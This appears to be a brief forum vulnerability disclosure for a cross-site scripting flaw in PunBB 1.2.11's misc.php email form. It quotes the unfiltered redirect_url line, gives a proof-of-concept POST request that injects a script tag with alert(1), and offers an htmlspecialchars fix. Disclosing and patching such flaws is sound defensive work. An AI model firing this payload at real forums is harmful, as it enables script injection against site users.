PunBB 1.2.11 Cross-Site Scripting

File name :- misc.php

Action :- Send Email

Line :- 123

[php]

redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']);

[/php]

The $_POST['redirect_url'] = Unfilter Input

Exploit :-

Send POST Request

[code]

GET :-

/PunBB/misc.php?email=2

POST :-

form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><s
cript>alert(1);</script>

[/code]

Fix :-

Replace The Line With :-

[php]

redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent redirect']);

[/php]

[ reply ]